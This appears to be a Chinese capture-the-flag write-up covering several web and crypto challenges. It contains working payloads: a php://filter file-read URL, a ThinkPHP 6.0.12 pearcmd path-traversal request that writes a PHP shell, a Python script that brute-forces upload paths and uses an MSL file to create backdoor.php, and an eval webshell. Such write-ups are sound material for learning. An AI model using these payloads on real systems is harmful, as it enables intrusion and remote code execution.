qiandao
简单的文件包含
1 2 3 4
| 提示说了flag在根目录下 ,直接利用php://filter 伪协议读文件
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=/flag
|
ez_tp
ThinkPHP V6.0.12LTS
QVD-2022-46174
开启了多语言功能, 且存在 pear 扩展 , 通过lang参数和目录穿越实现文件包含
1 2
| public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcm d&/<?=phpinfo()?>+/var/www/html/shell.php
|
ez_php
官方给的wp
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from time import sleep import requests def burpPNG(): url = "http://127.0.0.1:8081/" session = requests.session() file = {'file': ('./backdoor.png', open('./backdoor.png', 'rb'))} session.post(url=url, files=file) for i in range(10000, 100000): response = session.get(f'{url}/{i}.png') if response.status_code == 200: print(f'上传的png图片:{url}{i}.png') break return i def burpMSL(): url = "http://127.0.0.1:8081/" for i in range(1000, 10000): session = requests.session() response = session.get(f'{url}{i}.msl') if response.status_code == 200: print(f'上传的msl文件:{url}{i}.msl') break return i def create_mslfile(fileNum): url = "http://127.0.0.1:8081/" session = requests.session() content = f''' <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="./{fileNum}.png" /> <write filename="./backdoor.php" /> </image> ''' with open("backdoor.msl",'w') as file: file.write(content) file.close() file = {'file': ('./backdoor.msl', open('./backdoor.msl', 'rb'))} session.post(url=url, files=file) def getShell(fileNum): content=f''' 为避免服务器误判为攻击,尝试访问如下地址: http://127.0.0.1:8081/?backdoor=msl:./{fileNum}.msl 然后getshell地址为: http://127.0.0.1:8081/backdoor.php?a=xxxxx ''' print(content) if __name__ == '__main__': fileNUM=burpPNG() create_mslfile(fileNUM) mslNum=burpMSL() getShell(mslNum)
|
(环境崩了, 打不开, 分析一下代码作为复现了)
上传图片, 但是题目不会回显出上传的文件的路劲, 需要去爆破
为什么是 for i in range(10000, 100000): 应该是一般的上传文件的处理, 对上传的文件使用 随机数 进行重命名, 所以根据这个来爆破出文件路径
同理对上传的 msl文件 进行爆破路径
msl⽂件的写法:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="./{fileNum}.png" /> <write filename="./backdoor.php" /> </image>
|
将爆破得到 的png图片的路径 里面的内容写入到 backdoor.php
(可以理解为改了个后缀, 以便能够执行 php代码 , 执行所想要的命令)
png图片里面的内容 应该就是一句话木马了(如果会做一些内容检查的话 ,应该就是一些常规的绕过了)
1
| <?php @eval($_POST['cmd']);?>
|
signin
给了提示: twinhex
搜索一下可以发现是一种加密方式
https://github.com/htr-tech/0xTwin
有相应的工具
下载运行
python twin_cipher.py -d “文件给的一长串字符”
运行后是一串base64密文 , 是由一张图片转成的base64
将base64转成图片可以得到一张二维码. 扫描之后 : 请发送 WKCTF2024 到微信公众号隐雾安全获取flag!
最后得到的flag: WKCTF{hello_2024}